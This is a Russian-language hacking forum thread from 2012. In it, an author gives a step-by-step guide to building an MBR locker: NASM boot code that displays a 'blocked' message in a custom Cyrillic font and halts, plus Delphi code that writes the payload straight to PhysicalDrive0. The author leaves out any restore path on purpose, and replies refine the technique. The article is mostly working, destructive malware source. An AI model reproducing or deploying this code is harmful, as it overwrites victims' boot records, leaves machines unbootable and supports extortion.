Авторские статьи Разбор MBR LOCKER

Discussion in 'Статьи' started by DooD, 8 Jul 2012.

  1. DooD

    DooD Elder - Старейшина

    Joined:
    30 Sep 2010
    Messages:
    1,168
    Likes Received:
    450
    Reputations:
    288
    Здравствуйте уважаемые форумчане. Сегодня в этой статье я хотел бы разобрать механизмы такого зверя как mbr locker и показать в виде кода простой пример написания таких зверей.

    Сразу говорю:
    Статья написана ИСКЛЮЧИТЕЛЬНО в познавательных целях и я не несу никакой ответственности за использование материалов статьи в кибер-преступных целях.

    Огромное спасибо slesh’u за консультации по битовым матрицам.

    Арсенал:

    1) NASM. я перехожу на этот компилятор в виду удобства программирования низкоуровневых вещей.
    2) Delphi (можно использовать любой удобный вам ЯП)
    3)WINHEX (HIEW или любой удобный вам хексредактор)
    4)Эмулятор (emu8086, bochs, или виртуальную машину)
    5)Документация по прерываниям BIOS
    6)Калькулятор


    и так начнем.

    Что собой являет mbr.

    MBR это главная загрузочная запись, код, необходимый для последующей загрузки ОС и расположен в первом секторе ЖД (или другого ус-ва).

    После включения питания компьютера, проходит так называемая процедура POST тестирующая аппаратное обеспечение ,по прохождению которой BIOS загружает MBR в оперативную память по адресу 0x7C00 и передает ему управление.

    С этого и начинаем отталкиваться. Т.е. пишем загрузчик.

    Code:
    [BITS 16]
    [ORG 0x7C00]
    указываем на 16 битный код и устанавливаем "нужный" адрес.

    после этого мы должны настроить сегменты, при не правильно настроенных сегментах прерывания могут "повесить" систему.

    Code:
    mov	ax, cs		
    cli		
    mov	ss, ax		
    mov	es, ax	
    mov	ds, ax		
    mov	sp, entry
    sti
    ax= сегменту кода
    стэк-такой же как и сегмент кода, данные также-все в одном месте.
    при настройке запрещаем прерывания, потому что мы еще не готовы
    после настройки-включаем прерывания.

    По сути дела основа есть. Дальше мы должны подумать. У нас нет ни прерываний ДОС ни функций WINDOWS (это понятно я думаю) так что остается работать с экраном только через прерывания BIOS.

    Прежде всего произведем очистку экрана (это, кстати, сыграет полезную роль при эмуляции через bochs)

    Code:
    mov ax,03
    int 0x10
    Теперь следующий, очень важный момент. Прерывания BIOS не умеет\не знает русские символы. Предположим что мы затачиваем нашу малварь под русскоязычную аудиторию.

    Для того что бы мы могли писать русским нам требуется составить битовые матрицы, записать их в файл в виде хекса и подгружать( спасибо slesh’u за разбор битовых матриц)

    что собой представляет битовая матрица. Стандартные размеры символов возьмем как 8х16 соответственно буква «Я» будет выглядеть так:
    [​IMG]

    Как составляем такой файл. Берем рисуем любой символ с помошью битовой матрицы.
    далее каждую строку переводим в хекс и записываем в файл по порядку начиная от ascii кода 192 до 255.

    Соответственно буква «Я» будет выглядеть так:

    00, 00, 7E, C6, C6, C6, C6, 7E, 36, 66, C6, C6, 00, 00, 00, 00

    Не трудно понять что каждой букве будет соответствовать 16 байт ее описания.

    Дальше стает ясно, что разместить весь алфавит (даже с заменой некоторых русских символов на латинские) нельзя. Не хватит места для сообщения и вообще мы можем не уместиться в размер мбр-512 байт, потому что в русском алфавите 33 буквы если для каждой составить описание получается 528 байт. Значит нам нужно составить файл шрифтов, записать его в какие либо сектора и оттуда читать.

    Думаем заранее в какие сектора будем писать, потому что это задача высокоуровневой программы.Т.к. файл шрифтов получился у меня ровно 1кб (1024 байта, т.к. я откинул буквы Ё и ё) .Размер одного сектора=512 байт, я буду писать во 3 и 4 сектора.

    Загрузка таблицы в память

    Code:
    mov ah,0x02
    mov al,0x02
    mov bx,0x1000
    mov cx,0x0003
    int 0x13
    Вторая ф-я 13 прерывания- чтение секторов
    -читаем 2 сектора (3 и 4)
    -записываем таблицу по адресу 0х1000
    -чтение начинаем с 3-го сектора.

    Для эмуляции на дискете нужно добавить еще xor dx,dx ибо после передачи управления mbr в младшем байте регистра оказывается значение диска на котором мы находимся, соответственно у дискеты он = 0, высокоуровневая программа переписывает mbr таким образом что запоминать младший байт нет необходимости. Далее это будет видно.

    После чтения таблицы нужно изменить ее.

    Изменение таблицы

    Code:
    mov ah,0x11
    xor al,al
    mov bp,bx
    mov cx,64
    mov dx,192
    int 0x10
    11 функция 0 подфункция смена на пользовательскую таблицу.

    -адрес таблицы был в bx
    -64 палитры
    -изменяем начиная с 192 символа (код АСКИ буква «А»)

    Вот собсно и все. Дальше нам остается только выводить сообщения.

    Code:
    mov ah,0x13
    xor al,al
    mov bx,00001010b
    xor dx,dx
    mov cx,msgend-msg
    call msgend
    
    msg db 'заблокировано'
    
    msgend:
       pop bp	   
       int 0x10
       jmp $ 
    13 ф-я 0 подфунк. писать строку.

    -в bx задается атрибуты символов.


    0 1 2 бит- цвет символа- ярко зеленый
    3 бит- яркость- яркий
    4 5 6 бит- задний план- черный
    7 бит- мерцание- без мерцания


    -выводим с позиции начала экрана.
    -cx длинна сообщения.
    -bp- сообщение

    и зависаем в бесконечном цикле.

    Я не делал ввода строки, ее проверки, возврата и записи оригинального мбр, т.к. статья носит чисто поучительный характер, и добрые хацкеры не будут восстанавливать мбр, а еще и таблицу разделов снесут нахрен :D для них главное- выхлоп.
    Что то отошли от темы. в завершении заполняем оставшееся про-во 0 и указываем сигнатуру mbr.

    Code:
    TIMES 510-($-$$) db 0
    dw 0xAA55
    для эмуляции на дискете последней строчкой укажите включение файла шрифтов

    Code:
    incbin file.fnt
    
    все. С низким уровнем мы покончили. Приступаем к написанию высокоуровневой части.

    Открываем делфю, создаем юнит, т.к. мы будем юзать чисто АПИ.

    Я додумал лишь 2 метода:
    1)Разобрать все хекс редактором и создать массивы байт
    2)Запихать все в ресурсы-доставать-читать-писать.

    Применять буду первый.И так берем загрузчик и открываем в winhex. с помощью команды edit->copy block->pascal source получаем готовый набор байт уже в синтаксисе Delphi. Так же делаем и с таблицей, то есть получается 3 массива. Таблицу делим до смещения 200 - 1-ая часть, после 200 вторая часть.

    имеем

    Code:
    mbr:array[1..512]of byte =(
    	$8C, $C8, $FA, $8E, $D0, $8E, $C0, $8E, $D8, $BC, $00, $7C, $FB, $B8, $03, $00,
    	$CD, $10, $B4, $02, $B0, $02, $BB, $00, $10, $B9, $02, $00, $CD, $13, $B4, $11,
    	$30, $C0, $89, $DD, $B9, $40, $00, $BA, $C0, $00, $CD, $10, $B4, $13, $30, $C0,
    	$BB, $0A, $00, $31, $D2, $B9, $0D, $00, $E8, $0D, $00, $E7, $E0, $E1, $EB, $EE,
    	$EA, $E8, $F0, $EE, $E2, $E0, $ED, $EE, $5D, $CD, $10, $EB, $FE, $00, $00, $00,
    	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
    	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
    	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
    	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
    	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
    	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, 
    	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
    	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, 
    	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
    	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, 
    	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, 
    	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
    	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, 
    	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, 
    	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
    	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, 
    	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, 
    	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
    	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, 
    	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, 
    	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
    	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, 
    	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, 
    	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
    	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, 
    	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, 
    	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $55, $AA
    );
    
    tbl_1S:array [1..512]of byte =($00, $00, $3E, $66, $C6, $C6, $C6, $FE, $C6, $C6, $C6, $C6, $00, $00, $00, $00,
    	$00, $00, $FE, $C0, $C0, $C0, $FC, $C6, $C6, $C6, $C6, $FC, $00, $00, $00, $00,
    	$00, $00, $FC, $C6, $C6, $C6, $FC, $C6, $C6, $C6, $C6, $FC, $00, $00, $00, $00,
    	$00, $00, $FE, $C6, $C0, $C0, $C0, $C0, $C0, $C0, $C0, $C0, $00, $00, $00, $00,
    	$00, $00, $3C, $6C, $6C, $6C, $6C, $6C, $6C, $6C, $6C, $FE, $C6, $82, $00, $00,
    	$00, $00, $FE, $C6, $C0, $C0, $F0, $C0, $C0, $C0, $C6, $FE, $00, $00, $00, $00,
    	$00, $00, $D6, $D6, $D6, $54, $7C, $D6, $D6, $D6, $D6, $D6, $00, $00, $00, $00,
    	$00, $00, $7C, $C6, $06, $06, $1C, $06, $06, $C6, $C6, $7C, $00, $00, $00, $00,
    	$00, $00, $C6, $C6, $C6, $C6, $CE, $DE, $F6, $E6, $C6, $C6, $00, $00, $00, $00,
    	$00, $0C, $DA, $C6, $C6, $C6, $CE, $DE, $F6, $E6, $C6, $C6, $00, $00, $00, $00,
    	$00, $00, $C6, $CC, $D8, $F0, $F0, $D8, $CC, $C6, $C6, $C6, $00, $00, $00, $00,
    	$00, $00, $1E, $36, $66, $C6, $C6, $C6, $C6, $C6, $C6, $C6, $00, $00, $00, $00,
    	$00, $00, $C6, $C6, $EE, $EE, $FE, $FE, $D6, $D6, $C6, $C6, $00, $00, $00, $00,
    	$00, $00, $C6, $C6, $C6, $C6, $FE, $C6, $C6, $C6, $C6, $C6, $00, $00, $00, $00,
    	$00, $00, $7E, $C6, $C6, $C6, $C6, $C6, $C6, $C6, $C6, $FC, $00, $00, $00, $00,
    	$00, $00, $FE, $C6, $C6, $C6, $C6, $C6, $C6, $C6, $C6, $C6, $00, $00, $00, $00,
    	$00, $00, $FC, $C6, $C6, $C6, $C6, $C6, $FC, $C0, $C0, $C0, $00, $00, $00, $00,
    	$00, $00, $7C, $C6, $C6, $C0, $C0, $C0, $C0, $C6, $C6, $7C, $00, $00, $00, $00, 
    	$00, $00, $7E, $7E, $5A, $18, $18, $18, $18, $18, $18, $18, $00, $00, $00, $00,
    	$00, $00, $C6, $C6, $C6, $C6, $C6, $C6, $7E, $06, $C6, $7C, $00, $00, $00, $00, 
    	$00, $00, $7C, $D6, $D6, $D6, $D6, $D6, $D6, $7C, $10, $38, $00, $00, $00, $00, 
    	$00, $00, $C6, $C6, $6C, $38, $38, $6C, $C6, $C6, $C6, $C6, $00, $00, $00, $00,
    	$00, $00, $CC, $CC, $CC, $CC, $CC, $CC, $CC, $CC, $CC, $FE, $02, $06, $04, $00, 
    	$00, $00, $C6, $C6, $C6, $C6, $C6, $7E, $06, $06, $06, $06, $00, $00, $00, $00, 
    	$00, $00, $D6, $D6, $D6, $D6, $D6, $D6, $D6, $D6, $D6, $FE, $00, $00, $00, $00,
    	$00, $00, $D6, $D6, $D6, $D6, $D6, $D6, $D6, $D6, $D6, $FE, $02, $06, $04, $00, 
    	$00, $00, $E0, $E0, $60, $60, $7C, $66, $66, $66, $66, $7C, $00, $00, $00, $00, 
    	$00, $00, $C6, $C6, $C6, $C6, $E6, $B6, $B6, $B6, $B6, $E6, $00, $00, $00, $00,
    	$00, $00, $C0, $C0, $C0, $C0, $FC, $C6, $C6, $C6, $C6, $FC, $00, $00, $00, $00, 
    	$00, $00, $78, $CC, $06, $06, $1E, $1E, $06, $06, $CC, $78, $00, $00, $00, $00, 
    	$00, $00, $9C, $B6, $B6, $B6, $F6, $B6, $B6, $B6, $B6, $9C, $00, $00, $00, $00,
    	$00, $00, $7E, $C6, $C6, $C6, $C6, $7E, $36, $66, $C6, $C6, $00, $00, $00, $00
    );
    
    tbl_2S: array [1..512] of byte=($00, $00, $00, $00, $00, $7C, $C6, $C6, $C6, $FE, $C6, $C6, $00, $00, $00, $00,
    	$00, $00, $00, $00, $00, $FE, $C0, $FC, $C6, $C6, $C6, $FC, $00, $00, $00, $00, 
    	$00, $00, $00, $00, $00, $FC, $C6, $C6, $FC, $C6, $C6, $FC, $00, $00, $00, $00,
    	$00, $00, $00, $00, $00, $FE, $C6, $C2, $C0, $C0, $C0, $C0, $00, $00, $00, $00, 
    	$00, $00, $00, $00, $00, $3C, $6C, $6C, $6C, $6C, $6C, $FE, $C6, $82, $00, $00, 
    	$00, $00, $00, $00, $00, $7C, $C6, $C6, $FC, $C0, $C6, $7C, $00, $00, $00, $00,
    	$00, $00, $00, $00, $00, $D6, $D6, $D6, $7C, $D6, $D6, $D6, $00, $00, $00, $00, 
    	$00, $00, $00, $00, $00, $7C, $C6, $06, $1C, $06, $C6, $7C, $00, $00, $00, $00, 
    	$00, $00, $00, $00, $00, $C6, $C6, $CE, $DE, $F6, $E6, $C6, $00, $00, $00, $00,
    	$00, $00, $00, $0C, $18, $C6, $C6, $CE, $DE, $F6, $E6, $C6, $00, $00, $00, $00, 
    	$00, $00, $00, $00, $00, $C6, $CC, $D8, $F8, $D8, $CC, $C6, $00, $00, $00, $00, 
    	$00, $00, $00, $00, $00, $3E, $66, $66, $66, $66, $66, $C6, $00, $00, $00, $00,
    	$00, $00, $00, $00, $00, $C6, $EE, $FE, $D6, $C6, $C6, $C6, $00, $00, $00, $00, 
    	$00, $00, $00, $00, $00, $C6, $C6, $C6, $FE, $C6, $C6, $C6, $00, $00, $00, $00, 
    	$00, $00, $00, $00, $00, $7E, $C6, $C6, $C6, $C6, $C6, $FC, $00, $00, $00, $00,
    	$00, $00, $00, $00, $00, $FE, $C6, $C6, $C6, $C6, $C6, $C6, $00, $00, $00, $00, 
    	$00, $00, $00, $00, $00, $FC, $C6, $C6, $C6, $C6, $C6, $FC, $C0, $C0, $C0, $00, 
    	$00, $00, $00, $00, $00, $7C, $C6, $C0, $C0, $C2, $C6, $7C, $00, $00, $00, $00,
    	$00, $00, $00, $00, $00, $7E, $5A, $18, $18, $18, $18, $18, $00, $00, $00, $00, 
    	$00, $00, $00, $00, $00, $C6, $C6, $C6, $C6, $C6, $C6, $7E, $06, $C6, $7C, $00, 
    	$00, $00, $00, $00, $10, $7C, $D6, $D6, $D6, $D6, $D6, $7C, $10, $38, $00, $00,
    	$00, $00, $00, $00, $00, $C6, $6C, $38, $38, $6C, $C6, $C6, $00, $00, $00, $00, 
    	$00, $00, $00, $00, $00, $CC, $CC, $CC, $CC, $CC, $CC, $FE, $06, $0C, $00, $00, 
    	$00, $00, $00, $00, $00, $C6, $C6, $C6, $C6, $7E, $06, $06, $00, $00, $00, $00,
    	$00, $00, $00, $00, $00, $D6, $D6, $D6, $D6, $D6, $D6, $FE, $00, $00, $00, $00, 
    	$00, $00, $00, $00, $00, $D6, $D6, $D6, $D6, $D6, $D6, $FE, $02, $06, $04, $00, 
    	$00, $00, $00, $00, $00, $E0, $60, $7C, $66, $66, $66, $7C, $00, $00, $00, $00,
    	$00, $00, $00, $00, $00, $C6, $C6, $E6, $B6, $B6, $B6, $E6, $00, $00, $00, $00, 
    	$00, $00, $00, $00, $00, $C0, $C0, $FC, $C6, $C6, $C6, $FC, $00, $00, $00, $00, 
    	$00, $00, $00, $00, $00, $7C, $C6, $06, $1E, $06, $C6, $7C, $00, $00, $00, $00,
    	$00, $00, $00, $00, $00, $9C, $B6, $B6, $F6, $B6, $B6, $9C, $00, $00, $00, $00, 
    	$00, $00, $00, $00, $00, $7E, $C6, $C6, $7E, $36, $66, $C6, $00, $00, $00, $00
    ); 
    
    Остается лишь осуществить запись:

    Code:
    CreateFile('\\.\PhysicalDrive0',GENERIC_WRITE,FILE_SHARE_WRITE,0,OPEN_EXISTING,0,0); 
    
    открываем диск

    Code:
    WriteFile(f,mbr,sizeof(mbr),nw,nil); 
    записываем мбр

    Code:
    SetFilePointer(f,2*512,nil,FILE_BEGIN);
    WriteFile(f,tbl_1S,sizeof(tbl_1S),nw,nil);
    
    SetFilePointer(f,3*512,nil,FILE_BEGIN);
    WriteFile(f,tbl_2S,sizeof(tbl_2S),nw,nil);
    
    CloseHandle(f)
    записываем таблицу в третий и четвертый секторы.

    запись производится по формуле номер сектора*512.

    закрываем диск.

    Вот в общем то и все.

    Результат:
    [​IMG]

    В целом на этом все. Спасибо за внимание, надеюсь кому то было интересно.
    DooD. All rights reserved :)
     
    #1 DooD, 8 Jul 2012
    Last edited: 8 Jul 2012
    8 people like this.
  2. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    1) расположен в первом секторе ЖД
    - называется нулевой сектор )
    2) пользовательскую палитру.
    - не палитру, а таблицу для знакогенератора.
    3) зачем мучаться с кусками. Тупо сделай один файл на 3 сектора. И целеком запиши за один раз. зачем тебе переходить на другие сектора и прочие, если у тебя всё и так имеет размер кратный сектору. после компиляции файл сразу перегоняй в вид достаточный для записи и записывай его сразу.
     
  3. DooD

    DooD Elder - Старейшина

    Joined:
    30 Sep 2010
    Messages:
    1,168
    Likes Received:
    450
    Reputations:
    288
    1)но ведь это же первый сектор,разве нет?
    2)исправил
    3)ну эт для наглядности,эт просто попало что кратно,а так для лучшего понимания я сделал для каждого сектора.
     
  4. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    тьфу ты блин, чтото тупонул. точно, сектор первый, это дорожка нулевая.
     
  5. MTV

    MTV New Member

    Joined:
    16 Feb 2011
    Messages:
    180
    Likes Received:
    2
    Reputations:
    0
    Статья интересная.Спасибо.Еще бы все исходники прикрепил бы.
     
  6. proroot

    proroot Member

    Joined:
    31 Jan 2012
    Messages:
    46
    Likes Received:
    5
    Reputations:
    0
    Поддерживаю :)
     
    1 person likes this.
  7. MTV

    MTV New Member

    Joined:
    16 Feb 2011
    Messages:
    180
    Likes Received:
    2
    Reputations:
    0
    И еще вопросик.Почему запись производится по формуле номер сектора*512?
    Ведь если 1*512, указатель будет стоять на конце первого,то есть на втором секторе?
     
  8. DooD

    DooD Elder - Старейшина

    Joined:
    30 Sep 2010
    Messages:
    1,168
    Likes Received:
    450
    Reputations:
    288
    размер сектора =512 байт.
    первый сектор это mbr, при открытии диска мы уже пишем первый сектор,во вторых если указывать setfilepointer ты можешь указать разный флаг.
     
  9. MTV

    MTV New Member

    Joined:
    16 Feb 2011
    Messages:
    180
    Likes Received:
    2
    Reputations:
    0
    Да,но вот здесь получается ты пишешь в 3,4 сектора?
    Code:
    SetFilePointer(f,2*512,nil,FILE_BEGIN);
    WriteFile(f,tbl_1S,sizeof(tbl_1S),nw,nil);
    
    SetFilePointer(f,3*512,nil,FILE_BEGIN);
    WriteFile(f,tbl_2S,sizeof(tbl_2S),nw,nil);
    
    CloseHandle(f)
    
     
  10. DooD

    DooD Elder - Старейшина

    Joined:
    30 Sep 2010
    Messages:
    1,168
    Likes Received:
    450
    Reputations:
    288
    здесь я пишу в 3-4 верно, опечатка ,читать надо 2 и 3.спасибо что подметил.поправил.
     
  11. [ Dumi ]

    [ Dumi ] Member

    Joined:
    27 May 2009
    Messages:
    21
    Likes Received:
    66
    Reputations:
    13
    Статья не понравилась, с автором не согласен.
     
  12. Chrome~

    Chrome~ Elder - Старейшина

    Joined:
    13 Dec 2008
    Messages:
    936
    Likes Received:
    162
    Reputations:
    27
    Очень аргументированная критика.

    Не совсем понятно, почему используем сектора 1, 3, 4 а не 1, 2, 3. Также не очень понравилось, как описана работа ассемблерного кода. Лучше комментировать каждую строчку, а не писать в таком стиле:
    Когда читаешь эти строки:
    возникает вопрос, можно ли использовать 32-битный код?
     
    #12 Chrome~, 8 Jul 2012
    Last edited: 8 Jul 2012
  13. DooD

    DooD Elder - Старейшина

    Joined:
    30 Sep 2010
    Messages:
    1,168
    Likes Received:
    450
    Reputations:
    288
    можно использовать любые сектора,просто мне так захотелось.по правильному если, нужно искать сектора в которых нет данных(то есть нули) и писать туда.
    Комментировал так:
    строка асм кода-строка комента.
    использовать 32 битный нельзя,т.к. мы в реальном режиме,для использования 32 битн. надо включать линию А20
     
    1 person likes this.
  14. Gar|k

    Gar|k Moderator

    Joined:
    20 Mar 2009
    Messages:
    1,166
    Likes Received:
    266
    Reputations:
    82
    Не всегда, для определение размера сектора можно воспользоватся информацией из геометрии диска.

    В свое время писал программу установщик, которая генерирует код "на лету" используя заранее заготовленные смещения в ассемблерном коде.

    http://c0dedgarik.blogspot.com/2010/10/blog-post.html
     
    _________________________